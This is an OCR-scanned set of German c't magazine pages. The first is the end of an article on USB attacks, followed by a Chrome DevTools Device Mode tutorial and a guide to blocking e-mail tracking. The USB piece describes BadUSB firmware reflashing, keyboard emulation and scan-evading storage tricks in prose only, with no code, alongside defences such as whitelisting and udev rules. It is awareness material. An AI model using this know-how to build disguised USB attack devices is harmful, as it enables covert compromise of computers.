sen. So ist es mög l ich, den Datenverkeh r  
des  Rechners umzu leiten und mitzuschnei­
den. Nohl veröffent l i chte seine Too l s  zu r  
F i rmware-Man ipu lat ion zwa r n icht, es dau ­
erte jedoch n i ch t  l ange, bis d ie  beiden For­
scher Ada m Ca ud i l l  und  Brandon Wi lson 
se ine Arbeit  nachste l l en  konnten. D ie be i -
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G G DATA USB KEYB OARD G UARD X 
Das Betriebssystem meldet eine neue Tastatur: 

Praxis I USB-Angriffe verstehen 

6 0 0  Tastatu r-Assistent 

Einführung 

& HID Keyboard Device 

Der USB-Keyboard­
Guard von G Data 
blockiert neu 
angesch lossene 
Tastaturen zunächst 
e inmal .  

I h re Tastatu r wu rd e  nicht identifi zi ert . S i e  k a n n  e rst verwendet 

werden, nachd e m  sie i d e nt i fiz i e rt wurd e .  Kl icken Sie auf 

. Fortfahren", u m  diese Tastatur zu I dentifi zi e re n . 

Dieses T ool schützt Ihren Rechner vor schädlichen 
Geräten, die sich fälschlicherweise als Tastatur ausge:ben . 
Hacker nutzen z . B .  auf diese Weise manipulierte 
USB -Sticks, um Ihre vertrauichen Daten auszuspionieren 
ode:r Malware zu verbreiten . 

Wenn I hre Tastat u r  korrekt fu nkt i o n iert und Sie e i n  zu sätz li ches 

USB-Ein gabegerät angesc hlos s e n  haben , das kei n e Tastat u r  i st , 

kön n e n  S i e  d iesen Sch ritt ü be rs p r i ng e n . 

Wenn Sie soeben KEINE Tastatur mit Ihrem System 
verbunden haben, so wählen Sie bitte "Tastatur 
blockieren·. Verwenden Sie dieses Gerät dann an keinem 
PC, der nicht durch G DATA USB KEYBOARD GUARD 
geschützt ist! 

l'fle möchten Sie vorgehen? er=c: J c:::-::::J c:: --:::::� c:-":"J a-c::: � 

Melhr zu diesem Thema erfuhren . . .  

d e n  ste l l ten i h re Werkzeuge i n s  Netz und  
dokumentierten den F lash-Vorgang umfas­
send .  Mit den Too l s  ka nn  man USB-Sticks, 
d ie  mit dem Speicher-Contro l l e r  Ph ison 
225 1 -03 a rbeiten, u nter anderem mit Rub­
ber-Ducky-Funkt ionen ausstatten .  Geeigne­
te Sticks bietet der On l i ne-Hande l  fü r unter 
zehn Eu ro an .  

Handy hackt Rechner  

Auch Android-Geräte können ein Zweitleben 
als Tastatur füh ren. Die Pentesting-Fi rmware 
Ka l i  L inux NetHunter stattet das Goog le­
Handy Nexus 5 sowie d ie Tab lets Nexus 7 
und 1 0  mit einer bunten Palette an Angriffs­
funktionen aus, darunter die von dem Rub­
ber Ducky bekannte Tastatur-Emu lat ion. Die 
Skripte kann man d i rekt auf dem Tablet edi­
t ieren, das Kompi l ieren und Kopieren ent­
fä l l t. Darüber h inaus  kann  NetHunter auch 
eine Netzwerkka rte emu l ieren, um den Traf­
fic des angeschlossenen Rechners mitzu­
schneiden. Ü ber legen Sie es s ich a l so gut, 
wenn Sie zukünftig e in Ko l lege fragt, ob er 
"mal eben" sein Smartphone an  I h rem Rech­
ner a ufladen da rf. 

Offene Tü ren 

Von USB-Geräten geht offensichtl ich ein weit­
gehend unterschätztes Sicherheitsrisiko aus .  
Wer nicht vorbereitet ist, hat keine Chance, 
ein trojanisches USB-Pferd von einem harm­
losen Speicherstick zu unterscheiden. Die 
gute Nach richt ist: Mit ger ingem Aufwand 
kann  man a l le gängigen Desktop-Betriebs­
systeme gegen die Angriffe härten. 

U nter Windows können Gruppen richt­
l i n ien die Gefah r  e indämmen.  Ü ber  "Richt­
l i n ien fü r Loka ler  Computer I Computerkon­
figu rat ion I Admin i strative Vor lagen I Sys­
tem I Geräte insta l l at ion I Einschränkungen 
bei der  Geräte insta l l at ion" kann  man etwa 
fest legen, dass ab sofort überhau pt keine 
neuen USB-Geräte mehr  insta l l i e rt werden 
dü rften oder man aktiviert d ie  B lockade ge-
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Von Haus aus 
immun: Mac OS X 

wehrt Rubber­
Ducky-Angriffe 

selbstständig ab.  

zie lt fü r neue USB-E inga begeräte. Wer mit 
e iner USB-Tastatur a rbeitet, kann sich so a l ­
le rd ings Probleme e inhande ln .  Fä l l t  d ie Tas­
tatu r  e inma l  aus, muss man sich mühsa m  
m i t  Maus u n d  B i ldschi rmtastatur  du rch d ie 
Windows-Dia loge hange ln, um d ie  Sperre 
temporär aufzuheben und d ie Ersatztastatur 
i n  Betr ieb nehmen zu können .  Der E insatz 
von PS2-Tastaturen wird indes nicht beein­
trächtigt. 

Leichter kann  man sich mit dem kosten­
losen USB-Keyboa rd-Guard von G Data 
schützen (s iehe L ink) .  Das Tool merkt s ich 
beim ersten Neusta rt nach der  I nsta l lat ion 
a l le angeschlossenen USB-E ingabegeräte 
und setzt d iese auf eine Whitel ist. Fortan 
meldet s ich der Keyboa rd-Guard immer 
dann,  wenn e in neues E ingabegerät ange­
sch lossen wird. Nur wenn der Nutzer seinen 
Segen ertei lt, wird das Gerät am System an­
gemeldet und auf d ie Whitel ist gesetzt. Das 
White l ist ing ist zwa r praktisch, aber  n icht 
hundertprozentig s icher :  A l le  I nformationen, 
die ein USB-Gerät über s ich preisgi bt, s ind 
fä lschbar. 

Wenn es e in Angreifer wirkl ich darauf an­
legt, I h r  System zu kompromittieren, wird er 
I h re Tastatur zuvor an  einen mitgebrachten 
Rechner ansch l ießen, um Herste l ler-I D, Pro­
dukt- ID  und Seriennummer auszu lesen, und 
auf se inen Angriffs-Stick übertragen. Ferner 
le istete s ich das G-Data-Tool unter Win­
dows XP e inen fata len Patzer: Das Dia log­
fenster erschien auf unserem Testrechner im 
jewei l s  ersten Anlauf erst, nachdem die 
Tastatu rbefeh le längst abgeschickt waren. 
Unter neueren Windows-Vers ionen l ief das 
Tool h i ngegen zuverlässig. 

U nter Linux ka nn  man mit  Bord mitte l n  
fein  g ranu l iert e inste l len,  a n  welchen USB­
Ports welche Geräteklassen erl aubt s ind .  So 
kann  man s ich Ports fü r Mäuse und Tastatu­
ren fre iha lten, wäh rend etwa d ie F ront-An­
sch l ü sse des PC-Towers jeg l i che E ingabe­
geräte komp lett ignorieren .  Sch l ießt man 
dort e inen präpar ierten Stick an,  der s i ch  so­
woh l  als Massenspeicher als auch als Tasta-

I Fo rtfah re n  I 

tur  anzumelden versucht, wird nu r  der Spei­
cherpa rt i n it ia l i s ie rt .  D ie F i l teraufgaben 
ste l l t  der  Systemd ienst udev bereit, e ine 
grund legende E infüh rung fi nden Sie unter 
dem c't-Li nk. 

Düstere Aussichten 

Die oben beschr iebenen Ang riffe lassen 
s ich n icht nur mit  USB-Sticks und  Smart­
phones au sfüh ren,  sondern pr inzip ie l l  mi t  
a l l en Geräteklassen .  Nach Angaben von 
Ka rsten Noh l  könnte man auch  d ie  F i rm­
ware einer Webca m oder e iner externen 
Festplatte so man ipu l ieren, dass s ie Rechner 
ang reift .  Zudem s ind noch weitaus  perfi ­
dere Angriffe denkbar : D ie F i rmware e ines 
USB-Speichers kan n  gezie lt  Dateien auf  
dem F lash-Speicher verstecken und wieder 
fre igeben. E in  Ang reifer  könnte etwa be l ie­
b igen Schadcode im  F l a sh-Speicher ab l e­
gen und dafü r  sorgen, dass beim ersten Zu­
g riff auf  d ie  Datei - üb l icherweise d u rch 
den routinemäßigen Scan der Vi renschutz­
softwa re - e ine vö l l i g  andere, ha rm lose 
Datei a u sge lesen wird .  K l ickt der  Nu tzer 
nach dem Virensca n jedoch a uf die ver­
meint l ich g le iche Datei, l i efert die F i rmware 
des Sticks den Schäd l i ng .  Ein man ipu l ierter 
Stick könnte auch auf e inen Neustart war­
ten und dann e in man ipu l iertes B IOS-I rnage 
oder e in  Rootkit e insp ie len .  

I nsbesondere wenn man vorbeugende 
Maßnahmen wie das Whitel isti ng ergriffen 
hat, erfordern d ie USB-Angriffe e inen be­
trächt l ichen Aufwand, den norma le Cyber­
Krimine l le  kaum betreiben werden.  Wer a lso 
nicht gerade e inen Hochsicherheitsbereich 
abschotten wil l ,  muss n icht unbedingt zur 
Heißklebepisto le g reifen .  Man so l l te sich al­
lerd ings im Klaren darüber sein, dass e in auf 
dem F l u r  gefundener USB-Stick e ine echte 
Bed rohung sein kann  - nicht nur fü r den 
Rechner zu Hause oder den Bü ro-PC, son­
dern fü r ganze Unternehmen. (rei@ct.de) 

C11: Videos, Tools  und Tipps: ct.delyhb8 
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Know-how I Device Mode von Chrome 

Daniel  Berger 

Der Simu lant 
Mobi le  Webdes igns  i m  Device Mode von Chrome 

testen u n d  entwicke l n  

Mit d e n  Developer Tools lassen sich Websites d i rekt im  Chrome­
Browser untersuchen und sogar entwicke ln .  Der neue Device 
Mode s imu l iert Mobi lgeräte und sch lechte Verbindu ngen, um 
insbesondere mobi le Webdesig ns zu prüfen.  

J eder kann  d ie i nneren Werte e iner schö­
nen Website studieren - ih re Que l l texte 

s ind ja offen zugängl ich .  Wer a lso wissen wi l l ,  
wie ein Designer den ungewöhn l ichen Kon­
takt-Button gesta ltet hat, guckt einfach nach 
und nutzt den Code a l s  Basis fü r eigene Krea­
t ionen. Äußerst h i lfreich beim Spicken s ind 
d ie Developer Tools  (DevTools) des Chrome­
Browsers: Mit i h nen können Sie Websites 
genau untersuchen, debuggen und d i rekt im 
Browser gesta lten [ 1 ) .  

H i lfreich fü r die Entwickl ung und Optimie­
rung von mobilen Websites ist der neue De­
vice Mode: Er s imu l iert Smartphones im 
Browser, indem er die Bi ldsch i rmgröße ein­
schränkt und die Übertragung künstl ich dros­
selt, um etwa eine 3G-Verbindung zu s imu l ie­
ren. Im Device Mode können Sie auch Touch­
Gesten testen, da Websites inzwischen auch 
mit dem F inger gut bedienbar sein sol l ten. 
E ine zu k le in geratene Navigationsleiste führt 
Besucher schnel l  am Ziel vorbei. 

Eine vernünftige Bed ienung auf Mobi l ­
geräten wird immer wichtiger, da der Anteil 
mobiler Besucher stetig zunimmt: Laut Stat-

.SIU"' KhKkvn � lidcx.h 
rnttnH� ItSS-fHCI odfof rrM ßiO&. 
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Neuigkeiten 

Counter waren im Dezember 201 4 34 Prozent 
der erfassten Nutzer mobi l  im Web unter­
wegs; im Vorjahr waren es 23 Prozent. Auch 
Goog le sind mobi le Seiten wichtig, wesha lb  
s i e  in  den  Suchergebnissen m i t  dem H inweis 
"Fü r  Mobi lgeräte" gekennzeichnet s ind .  Ob 
Goog le I h re Site fü r mobi ltaug l ich hält, verrät 
der "Mobi le-Fr iendly Test" (siehe c't-Link  am 
Ende des  Art ikels) . Bei Nachbesserungen hi lft 
der Device Mode von Chrome weiter. 

U ntersuch u ngstisch 

Um eine Website mit den DevTools von 
Chrome zu ana lysieren, öffnen Sie via Rechts­
klick das Kontextmenü und wählen dort "E le­
ment untersuchen" oder drücken F 1 2 .  Auf 
d iese Weise nehmen Sie Bestandtei le  e iner 
S i te gez ie l t  unter d ie  Lupe. Das Untersu­
chungswerkzeug öffnet sich standardmäßig 
i n nerha l b  des Browser-Fensters und zeigt 
unter "E lements" d ie CSS-Rege ln des aktuel­
len Seitene lements an. Auch der  Que l l text 
und das Document Object Model (DOM) er­
schei nen hier .  l n  den DevTools können Sie 

Der Device Mode hält zah l reiche "Presets" von verbreiteten Smartphones und 
Tablets parat. Sie können auch e igene Defin it ionen a ls  Vorlagen speichern. 
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d i rekt Änderungen vornehmen, e inze lne 
Rege ln  abschalten und neuen CSS-Code 
h i neinschreiben. Die temporä ren Verände­
rungen s ind sofort zu sehen; bei e inem Neu­
laden der Site verschwinden sie wieder. Dank 
Workspaces lassen s ich Anpassungen aber 
auch speichern - dazu später mehr. 

Den Device Mode der DevTools aktivieren 
Sie oben l i nks mit einem Kl ick auf das kle ine 
Smartphone- lcon oder der Tastenkombina­
t ion Strg+Sh ift+M. Das lcon fä rbt s ich b lau 
ein und ble ibt aktiv, bis man den Knopf aber­
mals drückt. 

ln der oberen Bed ien le i ste ste l l en S ie 
unter "Device" das s imu l ierte Gerät e in .  Dies 
legt seine Auflösung sowie die "Device pixel 
ratio" fest. So lässt sich verhindern, dass der 
Seiten inha l t  bei Smartphones und Tablets 
mit hoher Pixe ld ichte (dpi) un lesba r k le in 
wird: Die Da rste l lung wird in  Relat ion zur Dis­
p lay-Größe gesetzt. 

E in  Beispie l :  Das Nexus 5 besitzt e in  De­
vice-zu-Pixei-Verhältnis von 3.  Dies bedeutet, 
dass der sonst von e inem Pixel angezeigte 
I nha l t  a uf eine F läche von neun Pixe ln  ver­
tei lt wird. Das Gerät zeigt eine Website a lso 
nicht mit der  vo l len Auflösung von 1 920 x 
1 080 Pixe ln  an, sondern a l s  wäre das Display 
640 x 360 Pixel g roß.  Der Browser ska l iert 
den Text zwar hoch, zeigt ihn  aber mit vol ler  
Auflösung an - so b le iben a l l e  Kanten scha rf. 

l n  den DevTools ist das Pixel-Verhältnis in­
d ividue l l  einste l lba r. Mit d ieser Methode las­
sen sich gezielt Media Queries testen. Diese 
ste l len sicher, dass bestimmte CSS-Rege ln 
erst be i  passenden Bed ingungen wie etwa 
hoher Pixe ld ichte aktiv werden.  So können 
Parameter wie -webkit-min-device-pixel-ratio oder 
min-resolution auch ein hochauflösendes Logo 
ausgeben - andernfa l l s  ska l iert das Display 
eine nied rig aufgelöste Bitmap häss l ich hoch. 

Der Chrome-Browser 
s imul iert im Device Mode 
verschiedene Smart­
phone-Auflösungen und 
langsame Verbindungen ­
so lässt sich eine Mobi i­
Website ausgiebig testen 
und optimieren . 
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Als Geräte-Vorgaben (Presets) fi nden Sie 
außer dem Nexus 5 d iverse iPhone-Varianten 
sowie eine Auswah l  anderer gebräuch l icher 
Geräte, darunter auch Tab lets und üb l iche 
Notebook-Auflösungen. Mit dem lcon "Swap 
d imensions" wechse ln Sie von der Hochkant­
in die Queransicht. Ist d ie ausgesuchte Auf­
lösung g rößer a l s  d ie  des B i ldschi rms, 
sch rumpft e in Häkchen bei "Fit" d ie Website 
zu einer Min iaturansicht 

Die Auflösung lässt s ich frei bestimmen 
und über die Ränder der Seitenansicht d i rekt 
anpassen. E igene E instel l u ngen lassen s ich 
a l s  Geräte-Vorgaben speichern. Dazu kl icken 
Sie i n  der oberen Leiste auf die d rei kle inen 
Punkte ("More Overrides") am rechten Rand.  
Es öffnet sich das Tab "Emu lat ion". Dort s i ­
chern S ie unter "Devices" I h re Werte mit 
"Save As" .  Datenbanken mit Auflösungen 
und Pixe ld ichten zah l reicher Geräte bieten 
http://dpi . lv/ und http://screensiz.es/. 

F ingerübungen 

Im  Device Mode verwandelt sich de r  Mauszei­
ger auf der Website in  einen grauen Kreis, der 
die F ingerkuppe darstel lt. Damit testen Sie, ob 
Links und Scha ltflächen groß genug für Finger 
s ind. Mit gedrückter Shift-Taste s imul ieren Sie 
"Pinch"-Gesten, also die Verwendung von 
zwei gespreizten F ingern, die eine Seite übl i­
cherweise größer zoomen. Außerdem lassen 
sich JavaScri pt-T ouch-Events wie touchstart, 
touchend oder touchmove testen .  So können Sie 
beispielsweise bei JavaScript-Si ideshows aus­
probieren, ob man sich bequem per F inger­
wisch durch Fotos bewegen kann.  

Außer verschiedenen Geräten s imu l iert 
der Browser auch Verbindungsgeschwindig­
keiten und damit  das Ladeverha lten der 
Websites. So lässt s ich feststel len, ob d ie La­
dezeit der Startseite über e ine langsame 
Edge-Verbindung mit 250 Kbps noch erträg­
l ich b le ibt. Dauert der Seitenaufbau zu lang, 
so l l ten Sie zumindest bei der Sta rtseite nach­
bessern [2] . "Network" zeigt, wie d ie Daten 
über d ie künstl ich ged rosselte Leitung plät­
schern. Die "Timel i ne" visua l is iert, in welcher 
Reihenfolge der Browser die Daten geladen 
hat und wie lange d ie Übertragung i n  An­
spruch nahm. Die untere Status le iste verrät 
die Anzah l  der Requests, die gesamte Lade­
zeit und die Zah l  der übertragenen Ki lobyte. 
Unter dem "Network"-Reiter lässt s ich der  
Cache deaktivieren, damit  d ie  Website bei 
jedem Reload so lädt wie beim ersten Be­
such. 

Stufige Site 

Media Queries passen Websites an  unter­
sch iedl iche B i ldschirme und Geräte an, weil 
auf Smartphones andere CSS-Rege ln  zum 
Einsatz kommen als auf g roßen Bi ldschirmen 
oder hochauflösenden Tablets. l n  fo lgendem 
Beispie l  reduziert der  Browser d ie  Schrift­
g röße auf kle inen Displays: 

llcontent { font-size: 1 6px; } 
@media (max-width: 320px) { #content { font-size: 1 2px; }} 
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Wie sich schlechte 
Verbindungen auf das 

Ladeverha lten der 
Website auswirken, 

kann der Device Mode 
ebenso simulieren. 

Durch Media Queries 
passen sich Websites 

an unterschied l iche 
Bi ldschirmgrößen an. 
Die Ba l ken ste l len sie 
anschaul ich dar und 

helfen beim Testen und 
Nach bessern. 

Beim E insatz vie ler verschiedener Media 
Queries wi rd jedoch der Code schne l l  un­
übersicht l ich. Ob die Rege ln ordentl ich funk­
t ionieren, lässt sich im Device Mode feststel­
len: Wäh len Sie l i nks das lcon, das wie kle ine 
abste igende Stufen auss ieht (s iehe roter 
Kreis im Bild rechts oben). ln der oberen Leis­
te ste l len Ba l ken anschau l ich die Media Que­
ries dar. Die Ba l ken länge g ibt an, bei welchen 
Auflösungen und Pixe l breiten die Rege ln  
aktiv werden .  B laue Ba l ken ste l l en Queries 
dar, d ie sich wie im obigen Beispiel auf eine 
maxima le Breite beziehen (max-width). Orange 
Ba l ken repräsentieren min-width-Queries und 
d ie grünen markieren Queries, d ie einen be­
stimmten Bereich abdecken. 

E in  Kl ick auf den Ba l ken verändert d ie  
Größe der Website auf d ie i n  den Media Que­
ries defin ie rte Breite. Ein Rechtskl ick öffnet 
die Option "Revea l i n  sou rce code", die wie­
derum die CSS-Datei im Tab "Sou rces" öffnet 
und zur  passenden Zei le  spr ingt .  H ier  kön­
nen Sie Ihr Layout d i rekt anpassen. Die tem­
porä ren Auswirkungen sind sofort im 
Browser zu sehen. 

Die Anpassungen können Sie nur spei­
chern, wenn Sie Workspaces verwenden, 
a l so den Browser i n  e inen loka len  Ordner 
schreiben lassen .  Dazu wechsel n Sie i n  den 
Bere ich "Sou rces", wo l i nks neben dem 
Code-Editor e ine Dateiübersicht steht. Dort 
fügen Sie Ordner über einen Rechtskl ick zu 
Workspaces h inzu .  Chrome erbittet Vo l lzu­
g riff auf das Verzeichn is, was Sie mit "Zu las­
sen" abnicken. Anschl ießend taucht der Ord­
ner in  der Dateiübersicht auf. Die darin ent­
ha ltenen CSS-Dateien lassen sich nicht nu r  
im integrierten Editor bearbeiten; Änderun­
gen s ind auch unter "E lements" mögl ich und 
werden mit Strg+S gesichert. HTML-Dateien 
können Sie nur im Editor verändern.  

Rea l itätscheck 

So gut d ie S imu lation mit dem Browser auch 
ist; a uf dem Smartphone sieht die Site doch 
anders aus - a l le in wegen der höheren Pixel­
d ichte. Zudem s imu l iert der Device Mode d ie 
Bed ienoberfläche von Android n icht .  Abhi lfe 
schafft das "Remote Debugging": H ierbei 
schauen Sie Websites auf einem Mobi lgerät 
an  und bed ienen d ie DevTools bequem am 
Desktop-Rechner. 

Know-how I Device Mode von Chrome 

Auf dem Smartphone oder Tablet benöti­
gen Sie dafü r  mindestens Android 4.0 sowie 
den Chrome-Browser. Schalten Sie i n  den 
Android-E inste i l ungen unter "Entwickler­
opt ionen" das USB-Debugg ing e in .  S ind 
d iese n icht zu sehen, müssen Sie unter "Über 
das Telefon" siebenmal  d ie "Bu i ld-Nummer" 
berühren. 

Verb inden Sie das Mobi lgerät über USB 
mit dem PC. Am einfachsten klappt das mit 
e inem aktue l len Nexus-Gerät: Es insta l l iert 
d ie  nötigen Tre iber a utomatisch, darunter 
auch das "Android Composite ADB I nter­
face". F ü r  andere Geräte l i stet Goog le d ie 
passenden Treiber auf e iner Website auf, 
s iehe c't-Link. 

I st das Gerät angesch lossen, müssen Sie 
die Meldung "USB-Debugging zulassen?" be­
stätigen .  ln den DevTools sehen Sie jetzt 
unter "Devices" das angeschlossene Gerät. 
Aktivieren Sie d ie Scha ltfläche "Try here", um 
d ie Website auf dem Mobi lgerät zu sehen. 
Dann  öffnen die DevTools e in neues Fenster 
und auf dem Smartphone die Website. So­
lange das USB-Debugg ing läuft, b le ibt der  
Bi ldschirm aktiv und geht n icht  in  den Schlaf­
modus. 

Rechts oben fi nden Sie i n  den DevTools 
neben dem Zahn rad- lcon e inen Button fü r 
den "Portrait screencast". Nach e inem Kl ick 
spiegelt der Desktop-PC d ie Ansicht I h res 
Smartphones. Bewegen Sie auf dem Touch­
screen d ie Seite, sehen Sie d ie  Bewegung 
auch auf dem PC -Bi ldschirm. Das  funktioniert 
auch umgekeh rt, wenn Sie d ie Webseite mit 
der Maus benutzen. Änderungen, d ie Sie im 
Tab "E lements" an  der Site vornehmen, s ind 
sofort im Handy zu sehen. 

H in und wieder stürzte der Browser im Test 
a l lerdings ab - ganz ausgereift ist das Remote 
Debugging noch n icht. Doch jede neue 
Chrome-Version verbessert in  der Regel  auch 
d ie Stabi l ität der DevTools .  (dbe@ct.de) 

Literatu r  

[ 1 ]  Da nie l  Berger, Sher lock Homepage, Webseiten 
mit Browser-Tools ana lysieren und bearbeiten, 
c't 24/1 3, 5. 206 

[2] Da nie l  Koch, Speed me u p!, Performance-Opti­
mierung fü r Websites, c't 20/1 1 ,  5. 1 64 

c'l: USB-Treiber und Googles "Mobi le­
Fr iendly Test": ct.de/ys3m 
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F lorian Kla n  

Sch n üffelstopp 
E-Ma i l -Tracki ng b loc kieren 

E-Mai i -Versender vom Werbeu nternehmen b i s  zum Freemai i -Provider 
erfassen schon seit Jah ren den Abruf i h rer  E-Mai l s  m it u nsichtbaren 
B i lde lementen in  HTML-Mai ls. Wir zeigen, welche Einste l l ungen sicher­
ste l len, dass Sie u nter dem Sch nüffei-Radar fl iegen. 

Werbed ienstleister, Spam­
Versender, aber auch Pri­

vatanwender können ermitte ln, 
ob der Ad ressat eine E-Mai l  tat­
sächlich geöffnet hat. Auf die höf­
l iche Art funktioniert das, indem 
der Absender über seinen Mai i ­
C i ient eine Empfangsbestätigung 
(Message Disposition Notification, 
ku rz MON) vom Adressaten erbit­
tet. Der Empfänger erhält die An­
frage und reagiert wahlweise, 
indem er mit einer MON antwor­
tet oder die Anfrage ignoriert. 

Ob der Empfänger eine E-Mai l  
geöffnet hat, lässt s ich jedoch 
auch von HTML-Code erfassen. 
Dazu bindet der Absender in die 
E-Ma i l  e ine versteckte URL ein, 
die auf externe Inha lte wie Bi lder 
verweist. Die URL enthä lt eine 
ID  fü r die benutzte Mai i -Ad resse 
und fü r die gesendete Mai l .  Lädt 
der Empfänger eine so präparierte 

Outlook-Optionen  

Al l g e m e i n  

E - M a i l  

Ka l e n d e r  

P e rs o n e n  

Aufg a b e n  

Suc h e n  

Spra c h e  

Erwe 1tert 

M e n ü b a n d  a n p a s s e n  

Sym b o l l e i ste f ü r  d e n  Schne l lzug riff 

Add-lns 

Trust C e nter 

Verlauf 

Nachricht und damit auch d ie 
nachzu ladenden Inha lte herunter, 
so erfasst der Web-Server den Ab­
rufzeitpunkt, die I P-Adresse des 
Empfängers und I nformationen 
zu E-Ma i i-Ci ient und Betriebs­
system. Für solch verstecktes 
Tracking kommen unter anderem 
1 x1 Pixel g roße Bi lder zum Ein­
satz. Auch Goog le bietet einen 
Tracking-Dienst namens Mai l ­
track an, der so arbeitet. 

Das Nachfolgende beschreibt 
daher Ei nstel l ungen fü r E-Ma i i ­
Ci ients auf Mobilgeräten und PCs, 
mit denen sich beide Tracking­
Methoden blockieren lassen. 

And roid, iOS, 
Wi ndows Phone 

Im  Normalfa l l  haben Android­
Nutzer keinen Hand lungsbedarf. 
Die integrierte E-Ma i i -App (na-

vors c h l a g e n  

mens E-Mail oder seit Android S 
G mail)  und das kosten lose und 
sehr verbreitete K-9 Mail reagieren 
nicht auf MONs. Beide laden auch 
keine Bi lder ungefragt aus  dem 
Netz. Samsungs E-Maii-App be­
antwortet Bitten um MONs nu r  
m i t  de r  Zustimmung des  Nutzers. 
Um die Einstel l ung fü r das Si lder­
ladeverha lten zu prüfen, kontrol­
l ieren Sie unter E inste l l ungen/ 
Kontoeinste l l ungen/Kontoname/ 
Weitere Einstel l ungen den Punkt 
"Bi lder anzeigen". 

Apples E-Maii-App fü r iPhone 
und iPad ignoriert Anfragen nach 
Lesebestätigungen. l n  der Grund­
einste l lung lädt sie jedoch einge­
bundene I n ha l te automatisch. 
Das verh i ndern S ie, indem Sie 
Einste l l ungen/Mai ! ,  Kontakte, Ka­
lender aufrufen und d ie Funk­
t ion "B i lder  von Webservern 
laden" abschalten. Danach kön-

l 'ii l.a.J 

� �arnen, wenn i c h  e i n e  N a chr i cht s e n d e n  m ö c hte, an d e r  g gf. e i n e  An l age  feh lt 

Ü b e rmittl u n g s - u n d  L e s e b e stäti g u n g e n  h e lfen d a b e i, e i n e  B e stäti g u n g  da rübe r  zu e rha lten, d a s s  
N a c h ri c hten e rfo l g r e i ch  e m pfa n g e n  wurd e n .  N i c ht a l l e  E - M a i l - Se /Ver u n d  -Anwe n d u n g e n  
u nte rstütze n d a s  Senden  von B e stäti g u n g e n .  

F ü r  a l l e  g e s e n d eten Nach r i chten F o l g e n d e s  anforde rn :  

EI Ü b e rmittl u n g s be stäti g ung,  d i e  d i e  Ü b e rm ittl u n g  d e r  N a c hr i cht a n  d e n  E � M a i i · Se tver d e s  
E m pfängers b e stätigt 

[=:J 1_esebe stäti g ung,  die das Anze i g e n  der N a chr i cht durch  den E m pfä n g e r  b e stätigt 

Für j e d e  Nachr i cht, die die Anforderung e i n e r  L e s e b e stäti g u n g  e nthä lt: 

i) Immer e i n e  L e s ebe stäti gung  s enden  
�� Mie e i n e  L e s e b e stäti g u n g  s e n d e n  

0 ,Senden  e i n e r  L e s e b e stäti g u n g  i m m e r  b e stäti g e n  l a s s e n  

[{] ß.espre c h u n g s a nfra g e n  u n d  Antworten auf B e s p r e c h u n g s anfra g e n  s o w i e  Absti m m u n g e n  
automati s c h  bea rbe iten 

[{] G e s e n d ete Qri g i n a l e l e m e nte auto m ati s c h  mit B e stäti g u n g s i nformati o n e n  aktu a l i s i e re n  

[C] �erl a ufs informati o n e n  aktu a l i s i e r en  u n d  d a n n  Antwo rten o h n e  Ko m m e ntare l ö s c h e n  

EI N a c h  d e m  Aktu a l i s i e re n  d e r  
Verl a ufs informati o n e n  B�stäti g u n g e n  
vers c h i e b e n  n a c h :  

[- G e l ö s c hte E l e mente J l u 1 1  

Nachrichtenformat 

I � 
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� O i e  G rö.!le d e r  N a c h ri c ht ve rri n g e rn, i n d e m  z u m  Anze i g e n  d e r  N a chr i cht n i c ht e rforde r l i c he  
F o rm ati e r u n g s i nformati o n e n  e ntfe rnt werden 

[] Anlagen von Nur·Text�Nach r i chten mit .!JU E N C O D E  c o d i eren 

[ O K  J [ Abbre c h e n  J 

nen Sie am Ende e iner jeden 
HTML-Mai l  mit e inem Ti pp auf 
den B i ldsch i rm bewi rken, dass 
d ie App d ie Bi lder trotzdem lädt .  

Nutzer von Windows Phone 
s ind ab  Werk fein  raus :  Der Maii­
C i ient sendet kei ne MONs und 
lädt  u ngefragt kei ne I nternet­
I n ha lte in HTML-Ma i l s  herunter. 
Die Konfiguration fü r den Bi lder­
Down load befi ndet s ich im 
Cl ient unter E inste l l ungen/Kon­
toname/l mmer vo l l ständ ige 
Nach richten und  I nternetbi lder  
herunterladen.  

Sq u i rre iMai l  
u n d  Rou ndcube 

Die von Webhastern häufig ein­
gesetzten Web-Ciients Squirrei­
Mail und Roundcube blockieren 
standardmäßig das Nach laden 
von B i ldern aus  dem Internet. l n  
der Voreinste l l ung i s t  der MON­
Versand jedoch aktiv. 

Bei Squ i rre iMa i l  deaktivieren 
Sie ihn unter Optionen/Vorein­
stel l ungen fü r Anzeige/Aktiviere 
Empfa ngsbestäti gung .  Zudem 
schalten S ie  "Angehängte B i lder 
i nnerha l b  der Nachricht anzei­
gen" ab .  Änderungen über­
n immt die Software nach einem 
Kl ick auf "Senden". 

Roundcube zeigt auf Wunsch 
nur eingebundene Bi lder von be­
kannten Absendern an. Unter E in­
ste l l ungen/Nachrichtenda rstel­
l ung setzen Sie dazu "Eingebette­
te Bi lder vom Internet laden" auf 
"Bei bekannten Absendern" und 
fügen die gewünschten Adressen 
zu den Kontakten h inzu. Alterna­
tiv setzen Sie die Einste l lung auf 
"N ie". Damit der Cl ient keine 
MONs versendet, öffnen Sie E in­
ste l l u ngen/Mai l box-Ansicht und 
setzen "Empfangsbestät igungen 
senden" auf "N ie". Kl icken Sie 
zum Übernehmen der Änderun­
gen auf "Speichern". 

Th underbird, 
Outlook und Co. 

Mozi l l as  Thunderbird sperrt 
nachzu ladende B i lder schon i n  
der Standardkonfigu rat ion. So l l  
der Cl ient jedoch I nha l te einzel­
ner Absender oder Domains 
grundsätz l ich herunter laden, so 
er lauben Sie das über die Scha lt­
fläche "E inste l l u ngen", d ie bei 

ln Outlook 201 0 und 201 3 
lässt sich der MON-Versand in  
im Optionsabschnitt "Verlauf" 
unterbinden. 
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Elnsteftungen Mall, Kontakte, Kalender 

MAll 

Vorschau K 1ne 

An/Kopie anzeigen u 
Streichgesten 

Markierungsstil Farbe 

Löschen bestätigen u 
Bilder von Webservern laden 

Nach Konversation u 
Blindkopie an mich 

Adressen markieren Aus 

Zitatebene erhöhen Ein 

Geräte mit iOS laden Bi lder 
in  E-Mai ls  ab  Werk automatisch 
herunter. Für mehr Privat­
sphäre muss der Nutzer aktiv 
werden. 

jeder HTML-Mai l  mit geblockten 
I nhalten erscheint. Um zu prüfen, 
wie die Nach ladeoption aktue l l  
e ingeste l l t  i st. rufen Sie Extras/ 
E i nste l l ungen/Datenschutz auf. 
Möchten Sie den Versand von 
MONs unterd rücken, so wäh len 
S ie  unter Einste l lungen/Erweitert/ 
Empfangsbestät ig u ngen den 
Punkt .,N ie eine Empfangsbestä­
t igung senden" aus .  

Microsofts Outlook lädt Bi lder 
nur nach Rückfrage herunter. 
